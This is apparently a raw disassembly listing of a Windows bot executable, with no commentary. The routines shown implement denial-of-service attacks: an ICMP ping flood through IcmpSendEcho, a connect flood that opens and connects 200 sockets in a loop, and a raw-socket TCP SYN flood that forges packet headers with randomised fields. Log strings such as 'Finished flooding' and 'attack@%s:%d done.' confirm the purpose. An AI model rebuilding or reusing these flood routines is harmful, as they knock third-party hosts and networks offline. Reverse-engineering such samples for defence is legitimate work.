		mov	byte ptr [esp+14h+var_4], 4
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F0EC
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4277B0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427850	proc near		; CODE XREF: sub_4014CEj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427850
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43F0EC
		lea	ecx, [esi+79h]
		mov	[esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+64h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+11h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_40204F
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427850	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_427910:				; CODE XREF: ___:loc_4016DBj
					; ___:0040219Ej
		push	esi
		mov	esi, ecx
		call	sub_4014CE
		test	byte ptr [esp+8], 1
		jz	short loc_427928
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_427928:				; CODE XREF: ___:0042791Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427940	proc near		; CODE XREF: sub_4011FEj ___:0040209Fj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4020AE
		test	[esp+4+arg_0], 1
		jz	short loc_427958
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_427958:				; CODE XREF: sub_427940+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_427940	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_427970	proc near		; CODE XREF: sub_4020AEj
		jmp	sub_4014CE
sub_427970	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427990	proc near		; CODE XREF: sub_401A50j

var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427990
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+54h]
		mov	ecx, [esi+60h]
		mov	edx, [esi+5Ch]
		lea	edi, [esi+3Bh]
		push	eax
		push	ecx
		push	edx
		mov	ecx, edi
		lea	ebx, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		push	offset aSSUtimesUbytes ; "%s: %s (%utimes/%ubytes/%dms)"
		mov	ecx, ebp
		call	sub_4014DD
		mov	cl, [esi+8Fh]
		push	eax
		mov	al, [esi+90h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 28h
		lea	ecx, [esp+34h+var_24]
		call	sub_40142E
		mov	edx, [esi+54h]
		mov	eax, [esi+60h]
		mov	ecx, [esi+5Ch]
		push	edx
		push	eax
		push	ecx
		mov	ecx, edi
		mov	[esp+40h+var_4], 0
		call	sub_4014DD
		push	eax
		call	sub_40183E
		add	esp, 10h
		test	eax, eax
		jz	short loc_427A54
		mov	edx, [esi+5Ch]
		mov	ecx, edi
		push	edx
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		lea	eax, [esp+40h+var_24]
		push	offset aSFinishedFlood ; "[%s] Finished	flooding %s %d Times"
		push	eax
		call	sub_40102D
		add	esp, 14h
		jmp	short loc_427A6E
; ---------------------------------------------------------------------------


loc_427A54:				; CODE XREF: sub_427990+9Aj
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+38h+var_24]
		push	offset aSCannotSendPin ; "[%s] Cannot send pings - Doesn't have D"...
		push	ecx
		call	sub_40102D
		add	esp, 0Ch


loc_427A6E:				; CODE XREF: sub_427990+C2j
		lea	ecx, [esp+34h+var_24]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4014DD
		mov	dl, [esi+90h]
		push	eax
		mov	al, [esi+8Fh]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 14h
		lea	ecx, [esp+34h+var_24]
		mov	[esp+34h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 24h
		retn
sub_427990	endp

; ---------------------------------------------------------------------------
		db 90h
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427B10	proc near		; CODE XREF: sub_401E9Cj

var_1A		= byte ptr -1Ah
var_18		= byte ptr -18h
arg_0		= byte ptr  4
arg_FFE0	= dword	ptr  0FFE4h
arg_FFE4	= dword	ptr  0FFE8h
arg_FFE8	= dword	ptr  0FFECh
arg_FFEC	= dword	ptr  0FFF0h

		mov	eax, 0FFFCh
		call	sub_437B30
		push	esi
		push	edi
		push	offset aIcmp_dll ; "ICMP.DLL"
		nop
		call	near ptr 280089Fh
		mov	esi, eax
		test	esi, esi
		jz	short loc_427B7A
		mov	edi, dword_511918
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	esi
		call	edi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	esi
		mov	dword_51011C, eax
		call	edi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	esi
		mov	dword_510120, eax
		call	edi
		mov	ecx, dword_51011C
		mov	dword_510118, eax
		test	ecx, ecx
		jz	short loc_427B7A
		mov	edx, dword_510120
		test	edx, edx
		jz	short loc_427B7A
		test	eax, eax
		jz	short loc_427B7A
		mov	al, [esp+0Bh]
		test	al, al
		jz	short loc_427B85


loc_427B7A:				; CODE XREF: sub_427B10+1Bj
					; sub_427B10+52j ...
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 0FFFCh
		retn
; ---------------------------------------------------------------------------


loc_427B85:				; CODE XREF: sub_427B10+68j
		mov	edx, [esp+24h+arg_FFE8]
		mov	eax, 0FFDCh
		cmp	edx, eax
		jle	short loc_427B9C
		mov	[esp+24h+arg_FFE8], eax


loc_427B9C:				; CODE XREF: sub_427B10+83j
		push	ebx
		push	ebp
		mov	ebp, [esp+2Ch+arg_FFEC]
		cmp	ebp, 1
		jge	short loc_427BAF
		mov	ebp, 1


loc_427BAF:				; CODE XREF: sub_427B10+98j
		call	ecx	; IcmpCreateFile
		mov	ebx, [esp+2Ch+arg_FFE4]
		xor	esi, esi
		test	ebx, ebx
		mov	edi, eax
		jle	short loc_427BF4


loc_427BC0:				; CODE XREF: sub_427B10+E2j
		mov	al, byte_4D84B9
		test	al, al
		jz	short loc_427BF4
		mov	ecx, [esp+2Ch+arg_FFE8]
		push	ebp
		lea	eax, [esp+30h+var_18]
		push	1Ch
		push	eax
		mov	eax, [esp+38h+arg_FFE0]
		push	0
		lea	edx, [esp+3Ch+arg_0]
		push	ecx
		push	edx
		push	eax
		push	edi
		call	dword_510118	; IcmpSendEcho
		inc	esi
		cmp	esi, ebx
		jl	short loc_427BC0


loc_427BF4:				; CODE XREF: sub_427B10+AEj
					; sub_427B10+B7j
		push	edi
		call	dword_510120	; IcmpCloseHandle
		pop	ebp
		pop	ebx
		pop	edi
		mov	eax, 1
		pop	esi
		add	esp, 0FFFCh
		retn
sub_427B10	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427C50	proc near		; CODE XREF: sub_40183Ej

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_40188E
		mov	ecx, [esp+4+arg_C]
		mov	edx, [esp+4+arg_8]
		push	ecx
		mov	ecx, [esp+8+arg_4]
		push	edx
		push	ecx
		push	eax
		call	sub_401E9C
		add	esp, 14h
		retn
sub_427C50	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427C90	proc near		; CODE XREF: sub_401BDBj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427C90
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F9B
		push	offset aForsyn	; "forsyn"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	nullsub_10
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427C90	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_427D00:				; CODE XREF: ___:00401A28j
					; ___:00401AC3j
		push	esi
		mov	esi, ecx
		call	sub_401807
		test	byte ptr [esp+8], 1
		jz	short loc_427D18
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_427D18:				; CODE XREF: ___:00427D0Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_427D30	proc near		; CODE XREF: sub_401807j
		jmp	sub_4014CE
sub_427D30	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427D50	proc near		; CODE XREF: sub_401366j

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427D50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		mov	ebx, ecx
		xor	eax, eax
		mov	ecx, offset byte_4E7D8F
		mov	[esp+2Ch+var_28], eax


loc_427D76:				; CODE XREF: sub_427D50+35j
		cmp	dword ptr [ecx], 0
		jz	short loc_427D87
		add	ecx, 78h
		inc	eax
		cmp	ecx, offset byte_4E86EF
		jl	short loc_427D76


loc_427D87:				; CODE XREF: sub_427D50+29j
		cmp	eax, 13h
		mov	[esp+2Ch+var_28], eax
		jg	loc_427F39
		lea	eax, [eax+eax*2]
		push	ebp
		push	esi
		push	edi
		lea	eax, [eax+eax*4]
		lea	ecx, [ebx+3Bh]
		lea	ebp, ds:4E7D1Bh[eax*8]
		call	sub_4017EE
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	cx, [ebx+58h]
		push	ecx
		nop
		call	near ptr 71AB2B66h
		and	eax, 0FFFFh
		mov	[ebp+64h], eax
		mov	eax, [ebx+54h]
		cmp	eax, 5
		mov	[ebp+68h], eax
		jge	short loc_427DF0
		mov	dword ptr [ebp+68h], 5


loc_427DF0:				; CODE XREF: sub_427D50+97j
		mov	edx, [ebx+50h]
		mov	ecx, 80h
		xor	eax, eax
		mov	edi, offset dword_510128
		mov	[ebp+6Ch], edx
		lea	esi, [ebx+11h]
		rep stosd
		mov	eax, [ebx+50h]
		mov	ecx, [ebx+58h]
		push	eax
		push	ecx
		lea	ecx, [ebx+3Bh]
		lea	edi, [ebx+26h]
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		push	offset aSSUDseconds ; "%s: %s:%u (%dseconds)"
		mov	ecx, edi
		call	sub_4014DD
		mov	dl, [ebx+90h]
		push	eax
		mov	al, [ebx+8Fh]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		mov	ecx, [esp+50h+var_1C]
		add	esp, 24h
		push	offset dword_510328
		push	0
		push	ecx
		push	offset sub_4012C1
		push	0
		push	0
		nop
		call	near ptr 27B012Eh
		test	eax, eax
		mov	dword_51032C, eax
		jz	short loc_427E8B
		push	offset dword_448F34
		push	5
		push	eax
		push	0
		push	offset dword_510128
		call	sub_4013F2
		add	esp, 14h
		mov	[ebp+70h], eax
		jmp	short loc_427EBB
; ---------------------------------------------------------------------------


loc_427E8B:				; CODE XREF: sub_427D50+11Dj
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		push	offset aSErrorCreating ; "%s: error creating threads"
		mov	ecx, edi
		call	sub_4014DD
		mov	dl, [ebx+90h]
		push	eax
		mov	al, [ebx+8Fh]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_427EBB:				; CODE XREF: sub_427D50+139j
		lea	ecx, [esp+38h+var_24]
		call	sub_40142E
		mov	ecx, [ebx+58h]
		mov	[esp+38h+var_4], 0
		push	ecx
		lea	ecx, [ebx+3Bh]
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		lea	edx, [esp+44h+var_24]
		push	offset aSAttack@SDDone ; "%s: attack@%s:%d done."
		push	edx
		call	sub_40102D
		add	esp, 14h
		lea	ecx, [esp+38h+var_24]
		call	sub_4017EE
		push	eax
		push	offset aS	; "%s"
		mov	ecx, edi
		call	sub_4014DD
		mov	cl, [ebx+8Fh]
		push	eax
		mov	al, [ebx+90h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		lea	ecx, [esp+38h+var_24]
		mov	[esp+38h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		pop	ebp


loc_427F39:				; CODE XREF: sub_427D50+3Ej
		mov	ecx, [esp+2Ch+var_C]
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 28h
		retn
sub_427D50	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427FD0	proc near		; CODE XREF: sub_4012C1j

var_338		= dword	ptr -338h
var_334		= dword	ptr -334h
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_328		= dword	ptr -328h
var_324		= dword	ptr -324h
var_320		= byte ptr -320h
arg_0		= dword	ptr  4

		sub	esp, 338h
		mov	eax, [esp+338h+arg_0]
		push	ebp
		push	esi
		mov	esi, 1
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		lea	ebp, ds:4E7D1Bh[eax*8]
		xor	eax, eax
		mov	[esp+340h+var_334], eax
		mov	word ptr [esp+340h+var_334], 2
		mov	[ebp+74h], esi
		mov	cx, [ebp+64h]
		mov	[esp+340h+var_330], eax
		push	ecx
		mov	[esp+344h+var_32C], eax
		mov	[esp+344h+var_328], eax
		nop
		call	near ptr 71AB2B66h
		push	ebp
		mov	[esp+344h+var_324], esi
		mov	word ptr [esp+344h+var_334+2], ax
		nop
		call	near ptr 71AB2BF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_428066
		push	ebp
		nop
		call	near ptr 71AB4FD4h
		xor	edx, edx
		cmp	eax, edx
		jnz	short loc_42805F
		mov	[ebp+74h], edx
		mov	ecx, [ebp+70h]
		pop	esi
		pop	ebp
		lea	eax, [ecx+ecx*4]
		shl	eax, 4
		sub	eax, ecx
		lea	eax, [eax+eax*4]
		mov	dword_4D8735[eax*2], edx
		xor	eax, eax
		add	esp, 338h
		retn	4
; ---------------------------------------------------------------------------


loc_42805F:				; CODE XREF: sub_427FD0+68j
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		mov	eax, [edx]


loc_428066:				; CODE XREF: sub_427FD0+5Bj
		mov	[esp+340h+var_330], eax
		mov	eax, [ebp+6Ch]
		push	ebx
		push	edi
		test	eax, eax
		mov	[esp+348h+var_338], 0
		jle	loc_428116
		mov	ebx, dword_511C3C


loc_428085:				; CODE XREF: sub_427FD0+140j
		mov	al, byte_4D84B9
		test	al, al
		jz	loc_428116
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_42809B:				; CODE XREF: sub_427FD0+EFj
		push	0
		push	1
		push	2
		call	ebx	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_4280BB
		lea	ecx, [esp+348h+var_324]
		push	ecx
		push	8004667Eh
		push	eax
		call	near ptr 71AB4519h
		nop


loc_4280BB:				; CODE XREF: sub_427FD0+D8j
		add	esi, 4
		dec	edi
		jnz	short loc_42809B
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_4280CA:				; CODE XREF: sub_427FD0+10Ej
		mov	eax, [esi]
		lea	edx, [esp+348h+var_334]
		push	10h
		push	edx
		push	eax
		nop
		call	near ptr 71AB406Ah
		add	esi, 4
		dec	edi
		jnz	short loc_4280CA
		mov	ecx, [ebp+68h]
		push	ecx
		nop
		call	near ptr 2841E5Ch
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_4280F3:				; CODE XREF: sub_427FD0+130j
		mov	edx, [esi]
		push	edx
		nop
		call	near ptr 71AB9639h
		add	esi, 4
		dec	edi
		jnz	short loc_4280F3
		mov	eax, [esp+348h+var_338]
		mov	ecx, [ebp+6Ch]
		inc	eax
		cmp	eax, ecx
		mov	[esp+348h+var_338], eax
		jl	loc_428085


loc_428116:				; CODE XREF: sub_427FD0+A9j
					; sub_427FD0+BCj
		xor	edx, edx
		pop	edi
		mov	[ebp+74h], edx
		mov	ecx, [ebp+70h]
		pop	ebx
		pop	esi
		lea	eax, [ecx+ecx*4]
		pop	ebp
		shl	eax, 4
		sub	eax, ecx
		lea	eax, [eax+eax*4]
		mov	dword_4D8735[eax*2], edx
		xor	eax, eax
		add	esp, 338h
		retn	4
sub_427FD0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4281A0	proc near		; CODE XREF: sub_401DF2j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4281A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F9B
		push	offset aSyn	; "syn"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F10C
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4281A0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428210	proc near		; CODE XREF: ___:004016E5j sub_40182Aj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4010FF
		test	[esp+4+arg_0], 1
		jz	short loc_428228
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_428228:				; CODE XREF: sub_428210+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_428210	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_428240	proc near		; CODE XREF: sub_4010FFj
		jmp	sub_4014CE
sub_428240	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_428260	proc near		; CODE XREF: sub_401EB0j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_428260
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+54h]
		mov	ecx, [esi+50h]
		mov	edx, [esi+58h]
		lea	edi, [esi+3Bh]
		push	eax
		push	ecx
		push	edx
		mov	ecx, edi
		lea	ebx, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		push	offset aSSUUsecDms ; "%s: %s:%u	(%usec/%dms)"
		mov	ecx, ebp
		call	sub_4014DD
		mov	cl, [esi+8Fh]
		push	eax
		mov	al, [esi+90h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 28h
		lea	ecx, [esp+34h+var_24]
		call	sub_40142E
		mov	edx, [esi+54h]
		mov	eax, [esi+50h]
		mov	ecx, [esi+58h]
		push	edx
		push	eax
		push	ecx
		mov	ecx, edi
		mov	[esp+40h+var_4], 0
		call	sub_4014DD
		push	eax
		call	sub_401DCF
sub_428260	endp

; ---------------------------------------------------------------------------
		cdq
		and	edx, 3FFh
		add	esp, 10h
		add	eax, edx
		mov	ecx, edi
		sar	eax, 0Ah
		cdq
		idiv	dword ptr [esi+50h]
		mov	edx, [esi+58h]
		push	eax
		push	edx
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		lea	eax, [esp+20h]
		push	offset aSSDIkbSec ; "%s: %s:%d (%ikb/sec)"
		push	eax
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4014DD
		mov	cl, [esi+90h]
		mov	dl, [esi+8Fh]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 14h
		mov	dword ptr [esp+30h], 0FFFFFFFFh
		lea	ecx, [esp+10h]
		call	sub_401226
		mov	ecx, [esp+28h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4283D0	proc near		; CODE XREF: sub_401BC7j

var_95		= byte ptr -95h
var_8C		= dword	ptr -8Ch
var_3C		= byte ptr -3Ch
var_3B		= byte ptr -3Bh

		sub	esp, 98h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ecx, 0Eh
		xor	eax, eax
		lea	edi, [esp+0A8h+var_3B]
		mov	[esp+0A8h+var_3C], 0
		rep stosd
		stosw
		xor	esi, esi
		push	0FFh
		push	esi
		mov	[esp+0B0h+var_8C], esi
		stosb
		mov	[esp+0B0h+var_95], 0
		call	sub_4021C6
sub_4283D0	endp

; ---------------------------------------------------------------------------
		push	0FFh
		push	esi
		mov	[esp+24h], al
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	0FFh
		push	esi
		mov	[esp+2Dh], al
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	0FFh
		push	esi
		mov	[esp+36h], al
		call	sub_4021C6
; ---------------------------------------------------------------------------
		add	esp, 20h
		cmp	[esp+0B4h], si
		mov	[esp+17h], al
		jnz	short loc_428461
		push	2710h
		push	3E8h
		mov	byte ptr [esp+1Bh], 1
		call	sub_4021C6
; ---------------------------------------------------------------------------
		add	esp, 8
		mov	[esp+0B4h], eax


loc_428461:				; CODE XREF: ___:00428441j
		push	1
		push	esi
		push	esi
		push	0FFh
		push	3
		push	2
		mov	dword ptr [esp+64h], 1
		call	near ptr 71AB8769h
		nop
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[esp+18h], edi
		jnz	short loc_428494
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 98h
		retn
; ---------------------------------------------------------------------------


loc_428494:				; CODE XREF: ___:00428485j
		lea	eax, [esp+4Ch]
		push	4
		push	eax
		push	2
		push	esi
		push	edi
		call	near ptr 71AB3EA1h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4284B7


loc_4284AA:				; CODE XREF: ___:0042865Fj
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 98h
		retn
; ---------------------------------------------------------------------------


loc_4284B7:				; CODE XREF: ___:004284A8j
		mov	ecx, [esp+0B4h]
		mov	ebp, dword_511C38
		push	ecx
		mov	word ptr [esp+60h], 2
		call	ebp	; ntohs
		mov	ebx, [esp+0ACh]
		push	28h
		mov	[esp+62h], ax
		mov	[esp+64h], ebx
		mov	byte ptr [esp+24h], 45h
		call	ebp	; ntohs
		push	4000h
		mov	[esp+26h], ax
		mov	word ptr [esp+28h], 1
		mov	[esp+2Ah], si
		mov	byte ptr [esp+2Ch], 80h
		mov	byte ptr [esp+2Dh], 6
		mov	[esp+2Eh], si
		mov	[esp+34h], ebx
		mov	byte ptr [esp+44h], 50h
		mov	byte ptr [esp+45h], 2
		call	ebp	; ntohs
		mov	[esp+42h], ax
		mov	[esp+46h], si
		mov	[esp+3Ch], esi
		nop
		call	near ptr 2800B86h
		mov	[esp+48h], eax
		mov	al, byte_4D84B9
		test	al, al
		jz	loc_42870B
		mov	ebx, dword_511AC8
		mov	byte ptr [esp+58h], 0
		mov	byte ptr [esp+59h], 6
		jmp	short loc_428555
; ---------------------------------------------------------------------------
		xor	esi, esi


loc_428555:				; CODE XREF: ___:00428551j
		mov	edi, [esp+1Ch]
		mov	edx, [esp+0B4h]
		inc	edi
		push	edx
		mov	[esp+20h], edi
		mov	[esp+48h], si
		call	ebp	; ntohs
		push	14h
		mov	[esp+3Ah], ax
		call	ebp	; ntohs
		mov	[esp+5Ah], ax
		mov	eax, [esp+14h]
		push	eax
		nop
		call	near ptr 71AB2BC0h
		mov	esi, eax
		mov	[esp+2Ch], esi
		call	ebx	; rand
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	ebp	; ntohs
		mov	[esp+34h], ax
		call	ebx	; rand
		mov	edi, eax
		shl	edi, 10h
		call	ebx	; rand
		or	edi, eax
		push	edi
		call	ebp	; ntohs
		mov	edx, [esp+0ACh]
		and	eax, 0FFFFh
		mov	[esp+38h], eax
		mov	eax, [esp+58h]
		mov	[esp+6Ch], esi
		mov	ecx, 5
		lea	esi, [esp+34h]
		lea	edi, [esp+78h]
		mov	[esp+70h], edx
		mov	[esp+74h], eax
		rep movsd
		lea	ecx, [esp+6Ch]
		push	20h
		push	ecx
		call	sub_401A37
		mov	ecx, 5
		lea	esi, [esp+28h]
		lea	edi, [esp+74h]
		lea	edx, [esp+74h]
		rep movsd
		mov	ecx, 5
		lea	esi, [esp+3Ch]
		lea	edi, [esp+88h]
		mov	[esp+4Ch], ax
		push	28h
		push	edx
		rep movsd
		mov	dword ptr [esp+0A4h], 0
		call	sub_401A37
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[esp+2Ah], ax
		mov	ecx, 5
		lea	esi, [esp+20h]
		lea	edi, [esp+6Ch]
		lea	eax, [esp+5Ch]
		push	10h
		rep movsd
		push	eax
		push	0
		lea	ecx, [esp+78h]
		push	28h
		push	ecx
		push	edx
		nop
		call	near ptr 71AB2C69h
		cmp	eax, 0FFFFFFFFh
		jz	loc_4284AA
		nop
		call	near ptr 2800B86h
		mov	edx, [esp+48h]
		mov	ecx, eax
		sub	ecx, edx
		mov	eax, 10624DD3h
		mul	ecx
		mov	eax, [esp+0B8h]
		shr	edx, 6
		cmp	edx, eax
		ja	short loc_428707
		mov	al, [esp+13h]
		test	al, al
		jz	short loc_4286A9
		push	2710h
		push	3E8h
		call	sub_4021C6
; ---------------------------------------------------------------------------
		add	esp, 8
		mov	[esp+0B4h], eax


loc_4286A9:				; CODE XREF: ___:0042868Ej
		push	0FFh
		push	0
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	0FFh
		push	0
		mov	[esp+24h], al
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	0FFh
		push	0
		mov	[esp+2Dh], al
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	0FFh
		push	0
		mov	[esp+36h], al
		call	sub_4021C6
; ---------------------------------------------------------------------------
		db 8Bh,	94h, 24h
		dd 0DCh, 8820C483h, 52172444h, 419763E8h, 0B9A09002h, 84004D84h
		dd 4C850FC0h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_428707:				; CODE XREF: ___:00428686j
		mov	edi, [esp+18h]


loc_42870B:				; CODE XREF: ___:0042853Bj
		push	edi
		call	near ptr 71AB9639h
		nop
		mov	eax, [esp+1Ch]
		pop	edi
		pop	esi
		pop	ebp
		lea	eax, [eax+eax*4+5]
		pop	ebx
		shl	eax, 2
		add	esp, 98h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 0E0h	dup(0CCh)

